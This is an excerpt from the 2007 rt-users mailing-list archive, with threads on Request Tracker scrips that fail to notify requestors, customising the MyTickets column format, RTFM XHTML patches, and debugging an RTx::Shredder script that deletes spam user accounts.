>> I have RT set to authenticate users via LDAP. This is working with no

>> problem. A user can create a ticket via email and be emailed back an 
>> autoresponder.
>>
>> The problem is, if they add a comment to the ticket, it gets added to

>> the ticket but no auto response gets sent back out to the user. I 
>> also
> 
>> created a scrip to notify the ticket owner if there is a comments on 
>> the ticket. In those cases I am getting the following errors in my RT
>> log:
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 
>> 16
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> Scrip 16 is the one to notify the ticket owner if the requestor has 
>> updated the ticket.
>>
>> This is RT 3.6.3, running on CentOS 4.4 32 bit.
>>
>> Ben Ruset
>> IT Manager, GridApp Systems
>> email: bruset at gridapp.com
>> tel: 646-452-4042
>> web: http://www.gridapp.com
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com Commercial support: 
>> sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 
> 


From sturner at MIT.EDU  Thu Feb 22 15:40:17 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 22 Feb 2007 15:40:17 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.co
 m>
References: <45DDE19D.4060402@lbl.gov>
	<C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.com>
Message-ID: <6.2.3.4.2.20070222153858.03ce7300@po14.mit.edu>

At Thursday 2/22/2007 03:37 PM, Ben Ruset wrote:
>The only template that I have changed was just the autoreply one, and
>that was just slight rewording.
>
>Am I right in assuming that the workflow of tickets should work like
>this:
>
>1. User sends a helpdesk request
>2. RT sends an autoresponse
>3. User can send a reply back to RT with the [Blah #XXX] number in the
>subject
>3a. RT will attach their correspondance to the ticket (shows in the web
>UI)
>3b. RT will send an autoresponse back to the requestor
>
>What I am seeing is that 3b. is not working. Also, I would assume that
>RT should send an email to the ticket owner to let them know that there
>has been an update to the ticket. In my case, that's not happening.
>
>If it helps diagnose, I can post the output of any log entry or config
>file. Everything *looks* like it should work, but for whatever reason,
>it's not.

Ben,

If you could list the scrips for the queue you're working with, and 
the global scrips, this might help diagnose the problem. Steps 2 and 
3b above depend on having the scrips set up.

Steve 



From cabal at u.washington.edu  Thu Feb 22 14:43:28 2007
From: cabal at u.washington.edu (John H. Nyhuis)
Date: Thu, 22 Feb 2007 11:43:28 -0800 (PST)
Subject: [rt-users] Q: Modifying /Elements/MyTickets to include 'requestor'
In-Reply-To: <Pine.LNX.4.64.0702221126080.17997@homer21.u.washington.edu>
References: <Pine.LNX.4.64.0702221126080.17997@homer21.u.washington.edu>
Message-ID: <Pine.LNX.4.64.0702221142150.17997@homer21.u.washington.edu>

 	OK, figured it out,

 	Found the field names in Elements/html/RT__Ticket/ColumnMap.

'Requestors' (needed to be plural)

 	Thanks,

John H. Nyhuis
IT Manager
Dept. of Pediatrics
HS RR541C, Box 356320
University of Washington
Desk: (206)-685-3884
jnyhuis at u.washington.edu

On Thu, 22 Feb 2007, John H. Nyhuis wrote:

> 	Greetings,
>
> 	I am running RT 3.4.5, and would like to modify Elements/MyTickets to 
> include a Requestor column so techs can see at a glance who submitted the 
> ticket.  I've tried modifying line 44 in MyTickets to include this, but while 
> the column is created, it is not populated.
>
>        Format => "'<a 
> href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__id__</a>/TITLE:#',
> '<a 
> href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Subject__</a>/TITLE:Subject',
> '<a 
> href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Requestor__</a>/TITLE:Requestor', 
> QueueName, ExtendedStatus",
>
> and
>
>        Format => "'<a 
> href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__id__</a>/TITLE:#',
> '<a 
> href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Subject__</a>/TITLE:Subject',
> Requestor, QueueName, ExtendedStatus",
>
>
> 	I suspect that I have the field name wrong for the ticket requestors. 
> Can anyone tell me what the field name is in RT3.4 or give me another 
> suggestion for how to fix this?
>
> 	Thanks in advance,
>
> John H. Nyhuis
> IT Manager
> Dept. of Pediatrics
> HS RR541C, Box 356320
> University of Washington
> Desk: (206)-685-3884
> jnyhuis at u.washington.edu
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a 
> copy at http://rtbook.bestpractical.com
>


From bruset at gridapp.com  Thu Feb 22 16:00:58 2007
From: bruset at gridapp.com (Ben Ruset)
Date: Thu, 22 Feb 2007 16:00:58 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <6.2.3.4.2.20070222153858.03ce7300@po14.mit.edu>
Message-ID: <C0A5E31718FC064A91E9FD7BE2F081B1AB8958@exchange.gridapp.com>

I'm using the default scrips that come with RT. I added another for
testing purposes. There are all from the global config -- I have nothing
specifically customized for an individual queue.

	(no value)
On Correspond Open Tickets with template Blank
	(no value)
On Owner Change Notify Owner with template Transaction
	(no value)
On Create Autoreply To Requestors with template Autoreply
	(no value)
On Create Notify AdminCcs with template Transaction
	(no value)
On Correspond Notify AdminCcs with template Admin Correspondence
	(no value)
On Correspond Notify Requestors and Ccs with template Correspondence
	(no value)
On Correspond Notify Other Recipients with template Correspondence
	(no value)
On Comment Notify AdminCcs as Comment with template Admin Comment
	(no value)
On Comment Notify Other Recipients as Comment with template
Correspondence
	(no value)
On Resolve Notify Requestors with template Resolved
	(no value)
On Transaction Notify Owner with template Correspondence 

The last one "On Transaction Notify Owner with template Correspondence"
was something I made to test step 3b. The specifics of that are as
follows:

Description: <blank>
Condition: On Transaction
Action: Notify Owner
Template: Global Template: Correspondance
Stage: TransactionCreate

I have nothing in the user defined conditions.

Now, when a ticket is created by a user, they *do* get the automated
email in step 2. When a ticket is resolved, they also get an email
saying "according to our records, your request is resolved." It just
seems like steps in the middle fail.


Ben Ruset
IT Manager, GridApp Systems
email: bruset at gridapp.com
tel: 646-452-4042
web: http://www.gridapp.com

-----Original Message-----
From: Stephen Turner [mailto:sturner at MIT.EDU] 
Sent: Thursday, February 22, 2007 3:40 PM
To: Ben Ruset; Kenneth Crocker
Cc: rt-users at lists.bestpractical.com
Subject: RE: [rt-users] No recipients found. Not sending.

At Thursday 2/22/2007 03:37 PM, Ben Ruset wrote:
>The only template that I have changed was just the autoreply one, and 
>that was just slight rewording.
>
>Am I right in assuming that the workflow of tickets should work like
>this:
>
>1. User sends a helpdesk request
>2. RT sends an autoresponse
>3. User can send a reply back to RT with the [Blah #XXX] number in the 
>subject 3a. RT will attach their correspondance to the ticket (shows in

>the web
>UI)
>3b. RT will send an autoresponse back to the requestor
>
>What I am seeing is that 3b. is not working. Also, I would assume that 
>RT should send an email to the ticket owner to let them know that there

>has been an update to the ticket. In my case, that's not happening.
>
>If it helps diagnose, I can post the output of any log entry or config 
>file. Everything *looks* like it should work, but for whatever reason, 
>it's not.

Ben,

If you could list the scrips for the queue you're working with, and the
global scrips, this might help diagnose the problem. Steps 2 and 3b
above depend on having the scrips set up.

Steve 



From sturner at MIT.EDU  Thu Feb 22 16:12:51 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 22 Feb 2007 16:12:51 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <C0A5E31718FC064A91E9FD7BE2F081B1AB8958@exchange.gridapp.co
 m>
References: <6.2.3.4.2.20070222153858.03ce7300@po14.mit.edu>
	<C0A5E31718FC064A91E9FD7BE2F081B1AB8958@exchange.gridapp.com>
Message-ID: <6.2.3.4.2.20070222160620.03ceb038@po14.mit.edu>

At Thursday 2/22/2007 04:00 PM, Ben Ruset wrote:
>I'm using the default scrips that come with RT. I added another for
>testing purposes. There are all from the global config -- I have nothing
>specifically customized for an individual queue.
>
>
>On Correspond Notify Requestors and Ccs with template Correspondence
>         (no value)

The Notify action will not send mail to the person who generated the 
transaction. So when a requestor replies to a ticket, RT will not 
send a copy of their reply back to them.

>On Transaction Notify Owner with template Correspondence

This one should work as long as the person making the update is not 
the owner. I'm afraid I can't offer any other ideas on that one.

Steve




From jesse at bestpractical.com  Thu Feb 22 16:13:23 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 22 Feb 2007 16:13:23 -0500
Subject: [rt-users] RTFM 2.2.0RC4 vs. XHTML 1.0 and CSS 2,
	anyone did it already?
In-Reply-To: <1C6979B9C4A70A6885E71354@idefix.mi.fu-berlin.de>
References: <1C6979B9C4A70A6885E71354@idefix.mi.fu-berlin.de>
Message-ID: <20070222211323.GP25008@bestpractical.com>




On Thu, Feb 22, 2007 at 12:39:25PM +0100, Dirk Pape wrote:
> Hello,
> 
> since rt 3.6.3 now produces XHTML 1.0 strict with CSS2, I wonder if 
> anyone has already adjusted RTFM to do the same. Otherwise you produce 
> mixed HTML/XHTML in many pages, where RTFM-Callback are integrated.
> 
> I just started correcting some of these and can complete so to provide a 
> patch.
> 
> Is this welcomed?

It's very welcome :)

> Has anyone already done this?
> 

I don't know of anyone. Thanks!

> Regards,
> Dirk.
> -- 
> Dr. Dirk Pape (eAS - Projektleitung Campus Management)
> Freie Universitaet Berlin
> Grunewaldstr. 34a, 12165 Berlin
> Tel. +49 (0)30 838 75143, Fax. +49 (0)30 838 54654
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

-- 


From ruslan.zakirov at gmail.com  Thu Feb 22 16:39:22 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 23 Feb 2007 00:39:22 +0300
Subject: [rt-users] RTFM 2.2.0RC4 vs. XHTML 1.0 and CSS 2,
	anyone did it already?
In-Reply-To: <1C6979B9C4A70A6885E71354@idefix.mi.fu-berlin.de>
References: <1C6979B9C4A70A6885E71354@idefix.mi.fu-berlin.de>
Message-ID: <589c94400702221339y538af8e9kfdc841e51a8c4acc@mail.gmail.com>

I have a script I used on RT to lower case html and normalize
input/img/br to <xxx /> form.

On 2/22/07, Dirk Pape <pape-rt at inf.fu-berlin.de> wrote:
> Hello,
>
> since rt 3.6.3 now produces XHTML 1.0 strict with CSS2, I wonder if anyone
> has already adjusted RTFM to do the same. Otherwise you produce mixed
> HTML/XHTML in many pages, where RTFM-Callback are integrated.
>
> I just started correcting some of these and can complete so to provide a
> patch.
>
> Is this welcomed?
> Has anyone already done this?
>
> Regards,
> Dirk.
> --
> Dr. Dirk Pape (eAS - Projektleitung Campus Management)
> Freie Universitaet Berlin
> Grunewaldstr. 34a, 12165 Berlin
> Tel. +49 (0)30 838 75143, Fax. +49 (0)30 838 54654
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Thu Feb 22 20:42:16 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 23 Feb 2007 04:42:16 +0300
Subject: [rt-users] Further RTx::Shredder Errors
In-Reply-To: <45DD55B9.5020905@yahoo.com>
References: <45DC07B2.5070004@yahoo.com> <45DD55B9.5020905@yahoo.com>
Message-ID: <589c94400702221742l11ff8bdaieb931f2034138646@mail.gmail.com>

Look into the User plugin, it sets resolver for these dependencies.

On 2/22/07, Mathew Snyder <theillien at yahoo.com> wrote:
> I think I'm making progress.  This is what I now have
>
> RTx::Shredder::Init( force => 1 );
> my $shredder = new RTx::Shredder(RT::SystemUser);
> my $resolver = new RTx::Shredder::Plugin::Users(RT::SystemUser);
> if ($ans =~ m/^(y|yes)$/i){
>         my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
> '/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
>         my $email;
>         foreach $email (@emails){
>                 my $user = new RT::User(RT::SystemUser);
>                 $user->LoadByEmail($email);
>                 next unless $user->id;
>                 $resolver->SetResolver(Shredder => 10);
>                 $shredder->PutObject(Object => $user);
>         }
>         $shredder->WipeoutAll;
> }else{
>         exit;
> }
>
> Now, instead of getting an error regarding resolvers, I am getting
>
> [crit]: Odd number of elements in anonymous hash at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
> (/usr/local/rt-3.6.1/lib/RT.pm:317)
> Odd number of elements in anonymous hash at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
>
> Looking at some of the code in there I think I should be using $resolver to
> establish the "replace_relations" bit and then fitting that into the $shredder
> somehow.  Any thoughts?
>
> Mathew
>
> Mathew Snyder wrote:
> >>From this
> >
> > RTx::Shredder::Init( force => 1 );
> > my $shredder = new RTx::Shredder(RT::SystemUser);
> > if ($ans =~ m/^(y|yes)$/i){
> > #       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
> > '/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
> >         my $email;
> >         foreach $email (@emails){
> >                 my $user = new RT::User(RT::SystemUser);
> >                 $user->LoadByEmail($email);
> >                 next unless $user->id;
> >                 $shredder->PutObject(Object => $user);
> >         }
> >         $shredder->WipeoutAll;
> > #               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder --force
> > --plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
> > #
> > system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
> > }
> >
> > I get this
> >
> > [Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't find
> > resolver for dependency 'RT::User-240410 (depends on,resolvable dependency)
> > RT::Attachment-270285' at /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
> > 393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
> > Couldn't wipeout object: Couldn't find resolver for dependency 'RT::User-240410
> > (depends on,resolvable dependency) RT::Attachment-270285' at
> > /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.
> >
> > Can someone shed some light on why this is failing?
> >
> > Also, the above, commented-out line regarding SetFile produces this
> >
> > Unrecognized character \xE2 at ./delete_spam_users.pl line 91
> >
> > I don't know what the \xE2 is as I couldn't find anything on Google about it.
> >
> > Mathew
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> >
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From maristbrandi at gmail.com  Thu Feb 22 21:00:00 2007
From: maristbrandi at gmail.com (Help Desk)
Date: Thu, 22 Feb 2007 21:00:00 -0500
Subject: [rt-users] severity escalation
Message-ID: <a3a53f9f0702221800p5ba7a863nd5fa347e0339e1f3@mail.gmail.com>

Hey all,

I'm looking for some 'for dummies' instructions on how to make RT (I'm
running version 3.6.3) escalate ticket severities over time. We only have 3
severities, 1 being the highest and 2 being the lowest. I'd like RT to
upgrade a severity one level if a report hasn't been resolved for a week,
unless it is already a sev 1. Forgive me, I'm new to RT and am a linux
newbie and I don't know a whole lot about any of this stuff. Any help would
be appreciated. Thanks!

-Brandi Love
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From KFCrocker at lbl.gov  Thu Feb 22 22:45:26 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 22 Feb 2007 19:45:26 -0800
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.com>
References: <C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.com>
Message-ID: <45DE6356.6090308@lbl.gov>

Ben,


	3b will only happen if you have a scrip that "On Correspond" will 
"Notify Requestor" with the template you pick (probably Global template: 
Correspondence). #1 thru 3a should happen as you described. Also, in 
order for an owner to get any kind of correspondence you must, of 
course, have a privileged userid assigned as owner of the ticket, and 
also a scrip that "On Correspond" will "Notify Owner" with GLobal 
template: Correspondence. That should do it.

Kenn
LBNL

Ben Ruset wrote:
> The only template that I have changed was just the autoreply one, and
> that was just slight rewording.
> 
> Am I right in assuming that the workflow of tickets should work like
> this:
> 
> 1. User sends a helpdesk request
> 2. RT sends an autoresponse
> 3. User can send a reply back to RT with the [Blah #XXX] number in the
> subject
> 3a. RT will attach their correspondance to the ticket (shows in the web
> UI)
> 3b. RT will send an autoresponse back to the requestor
> 
> What I am seeing is that 3b. is not working. Also, I would assume that
> RT should send an email to the ticket owner to let them know that there
> has been an update to the ticket. In my case, that's not happening.
> 
> If it helps diagnose, I can post the output of any log entry or config
> file. Everything *looks* like it should work, but for whatever reason,
> it's not.
> 
> 
> Ben Ruset
> IT Manager, GridApp Systems
> email: bruset at gridapp.com
> tel: 646-452-4042
> web: http://www.gridapp.com
> 
> -----Original Message-----
> From: Kenneth Crocker [mailto:KFCrocker at lbl.gov] 
> Sent: Thursday, February 22, 2007 1:32 PM
> To: Ben Ruset
> Cc: Matthew Keller; rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] No recipients found. Not sending.
> 
> Ben,
> 
> 
> 	If there is a problem with the template, I don't believe the
> E_mail will be sent. The only other thing I can think of is if the
> UserId for the owner is NOT a privileged user and you have not allowed
> unprivileged users to get mail. Hope this helps.
> 
> 
> Kenn
> LBNL
> 
> Ben Ruset wrote:
>> In this particular case, yes. However the problem happens when when 
>> the requestor and owner are different people.
>>
>> I am not using any custom conditions or actions either. Everything 
>> (apart from a customized template or two, and the LDAP overlay) is 
>> bone stock.
>>
>>
>> Ben Ruset
>> IT Manager, GridApp Systems
>> email: bruset at gridapp.com
>> tel: 646-452-4042
>> web: http://www.gridapp.com
>>
>> -----Original Message-----
>> From: Matthew Keller [mailto:kellermg at potsdam.edu]
>> Sent: Thursday, February 22, 2007 10:50 AM
>> To: Ben Ruset
>> Cc: rt-users at lists.bestpractical.com
>> Subject: Re: [rt-users] No recipients found. Not sending.
>>
>> Is the requestor and the owner the same person? Are you using custom 
>> conditions or actions? If so can you post them please?
>>
>> On Thu, 2007-02-22 at 10:27 -0500, Ben Ruset wrote:
>>> I recently setup RT and for the most part am loving it. I have been 
>>> bitten by a nasty bug.
>>>
>>> I have RT set to authenticate users via LDAP. This is working with no
> 
>>> problem. A user can create a ticket via email and be emailed back an 
>>> autoresponder.
>>>
>>> The problem is, if they add a comment to the ticket, it gets added to
> 
>>> the ticket but no auto response gets sent back out to the user. I 
>>> also
>>> created a scrip to notify the ticket owner if there is a comments on 
>>> the ticket. In those cases I am getting the following errors in my RT
>>> log:
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
>>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients 
>>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
>>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients 
>>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
>>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients 
>>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 
>>> 16
>>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>>
>>> [Thu Feb 22 14:49:36 2007] [info]:
>>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients 
>>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>>
>>> Scrip 16 is the one to notify the ticket owner if the requestor has 
>>> updated the ticket.
>>>
>>> This is RT 3.6.3, running on CentOS 4.4 32 bit.
>>>
>>> Ben Ruset
>>> IT Manager, GridApp Systems
>>> email: bruset at gridapp.com
>>> tel: 646-452-4042
>>> web: http://www.gridapp.com
>>>
>>> _______________________________________________
>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>
>>> Community help: http://wiki.bestpractical.com Commercial support: 
>>> sales at bestpractical.com
>>>
>>>
>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>>> Buy a copy at http://rtbook.bestpractical.com
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com Commercial support: 
>> sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>>
>>
> 


From torben.nehmer at cancom.de  Fri Feb 23 03:00:18 2007
From: torben.nehmer at cancom.de (Torben Nehmer)
Date: Fri, 23 Feb 2007 09:00:18 +0100
Subject: [rt-users] Generic "Tickets where I participate" query
Message-ID: <EBE724A2DE794D44B545B2B355DD3CC704308ACB@server15.int.cancom.de>

Hello together,
 
I have another newbie question, where I can't find anything in the Wiki: For some of our users I want to have a query which shows "all tickets, where they are participating" either as requestor or CC or AdminCC. Much like the Tickets-I-Own list available by default.
 
For a single user I have manually put together the corresponding query, but obviously this isn't really maintainable. Is there a simple way of having the currently logged in user available in such a query which I can then save as global saved search? 
 

Yours sincerely,
Torben Nehmer

-------
Torben Nehmer
Diplom Informatiker (FH)
Business System Developer

CANCOM Deutschland GmbH
Messerschmittstr. 20
89343 Scheppach
Germany

Phone: +49 (0)8225 - 996-1118
Fax: +49 (0)8225 - 996-41118
torben.nehmer at cancom.de <mailto:torben.nehmer at cancom.de> 

CANCOM Deutschland GmbH
Sitz der Gesellschaft: Jettingen-Scheppach
HRB 10653 Memmingen
Gesch?ftsf?hrer: Paul Holdschik, Christian Linder

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From theillien at yahoo.com  Fri Feb 23 06:04:42 2007
From: theillien at yahoo.com (Mathew)
Date: Fri, 23 Feb 2007 06:04:42 -0500
Subject: [rt-users] Further RTx::Shredder Errors
In-Reply-To: <589c94400702221742l11ff8bdaieb931f2034138646@mail.gmail.com>
References: <45DC07B2.5070004@yahoo.com> <45DD55B9.5020905@yahoo.com>
	<589c94400702221742l11ff8bdaieb931f2034138646@mail.gmail.com>
Message-ID: <45DECA4A.30806@yahoo.com>

I'm not seeing what you mean.  Under the Shredder/Plugin directory is
Users.pm which holds the SetResolver method.  This calls the PutResolver
method (I don't know where the PutResolver method is found).  However,
User.pm which is in the Shredder directory (Not in the Shredder/Plugin
directory) has nothing I recognize as relating to this.  How should I be
using User.pm?

Mathew

Ruslan Zakirov wrote:
> Look into the User plugin, it sets resolver for these dependencies.
> 
> On 2/22/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I think I'm making progress.  This is what I now have
>>
>> RTx::Shredder::Init( force => 1 );
>> my $shredder = new RTx::Shredder(RT::SystemUser);
>> my $resolver = new RTx::Shredder::Plugin::Users(RT::SystemUser);
>> if ($ans =~ m/^(y|yes)$/i){
>>         my ($fname, $fh) = $shredder->SetFile( FromStorage => 0,
>> FileName =>
>> '/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
>>         my $email;
>>         foreach $email (@emails){
>>                 my $user = new RT::User(RT::SystemUser);
>>                 $user->LoadByEmail($email);
>>                 next unless $user->id;
>>                 $resolver->SetResolver(Shredder => 10);
>>                 $shredder->PutObject(Object => $user);
>>         }
>>         $shredder->WipeoutAll;
>> }else{
>>         exit;
>> }
>>
>> Now, instead of getting an error regarding resolvers, I am getting
>>
>> [crit]: Odd number of elements in anonymous hash at
>> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
>> (/usr/local/rt-3.6.1/lib/RT.pm:317)
>> Odd number of elements in anonymous hash at
>> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
>>
>> Looking at some of the code in there I think I should be using
>> $resolver to
>> establish the "replace_relations" bit and then fitting that into the
>> $shredder
>> somehow.  Any thoughts?
>>
>> Mathew
>>
>> Mathew Snyder wrote:
>> >>From this
>> >
>> > RTx::Shredder::Init( force => 1 );
>> > my $shredder = new RTx::Shredder(RT::SystemUser);
>> > if ($ans =~ m/^(y|yes)$/i){
>> > #       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0,
>> FileName =>
>> > '/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
>> >         my $email;
>> >         foreach $email (@emails){
>> >                 my $user = new RT::User(RT::SystemUser);
>> >                 $user->LoadByEmail($email);
>> >                 next unless $user->id;
>> >                 $shredder->PutObject(Object => $user);
>> >         }
>> >         $shredder->WipeoutAll;
>> > #               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder
>> --force
>> > --plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
>> > #
>> >
>> system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
>>
>> > }
>> >
>> > I get this
>> >
>> > [Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't
>> find
>> > resolver for dependency 'RT::User-240410 (depends on,resolvable
>> dependency)
>> > RT::Attachment-270285' at
>> /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
>> > 393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
>> > Couldn't wipeout object: Couldn't find resolver for dependency
>> 'RT::User-240410
>> > (depends on,resolvable dependency) RT::Attachment-270285' at
>> > /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.
>> >
>> > Can someone shed some light on why this is failing?
>> >
>> > Also, the above, commented-out line regarding SetFile produces this
>> >
>> > Unrecognized character \xE2 at ./delete_spam_users.pl line 91
>> >
>> > I don't know what the \xE2 is as I couldn't find anything on Google
>> about it.
>> >
>> > Mathew
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>> >
>> _______________________________________________
